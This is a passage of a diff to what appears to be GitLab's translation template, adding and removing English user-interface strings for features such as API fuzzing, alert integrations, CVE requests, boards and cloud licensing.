+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
